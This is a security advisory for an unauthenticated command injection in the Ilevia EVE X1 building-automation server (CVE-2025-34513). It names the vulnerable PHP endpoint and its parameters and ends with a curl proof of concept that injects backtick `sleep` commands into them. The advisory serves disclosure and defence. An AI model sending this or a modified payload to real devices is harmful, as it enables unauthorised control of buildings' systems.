📄 Ilevia EVE X1 Server 4.7.18.0.eden Unauthenticated Remote Command Injection

Ilevia EVE X1 Server 4.7.18.0.eden (mbus) Unauthenticated Remote Command Injection
    
    
    Vendor: Ilevia Srl.
    Product web page: https://www.ilevia.com
    Affected version: <=4.7.18.0.eden
    
    Summary: EVE is a smart home and building automation solution designed
    for both residential and commercial environments, including malls, hotels,
    restaurants, bars, gyms, spas, boardrooms, and offices. It enables comprehensive
    control and monitoring of electrical installations through a highly customizable,
    user-friendly interface.
    
    EVE is a multi-protocol platform that integrates various systems within
    a smart building to enhance comfort, security, safety, and energy efficiency.
    Users can manage building functions via iPhone, iPad, Android devices, Windows
    PCs, or Mac computers.
    
    The EVE X1 Server is the dedicated hardware solution for advanced building
    automation needs. Compact and powerful, it is ideal for apartments, small
    to medium-sized homes, and smaller commercial installations. It is designed
    to manage entire automation systems reliably and efficiently.
    
    Desc: The EVE X1 server suffers from an unauthenticated OS command injection
    vulnerability. This can be exploited to inject and execute arbitrary shell
    commands through the 'mbus_file' and 'mbus_csv' HTTP POST parameters through 
    /ajax/php/mbus_build_from_csv.php script.
    
    Tested on: GNU/Linux 5.4.35 (armv7l)
               GNU/Linux 4.19.97 (armv7l)
               Armbian 20.02.1 Buster
               Apache/2.4.38 (Debian)
               PHP Version 7.3.31
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2025-5962
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5962.php
    CVE ID: CVE-2025-34513
    CVE URL: https://www.cve.org/CVERecord?id=CVE-2025-34513
    
    
    01.05.2024
    
    --
    
    
    $ curl -X POST "http://ilevia:8080/ajax/php/mbus_build_from_csv.php" -d "mbus_file=`sleep 10`&mbus_csv=`sleep 7`"
    {"err":0,"msg":""}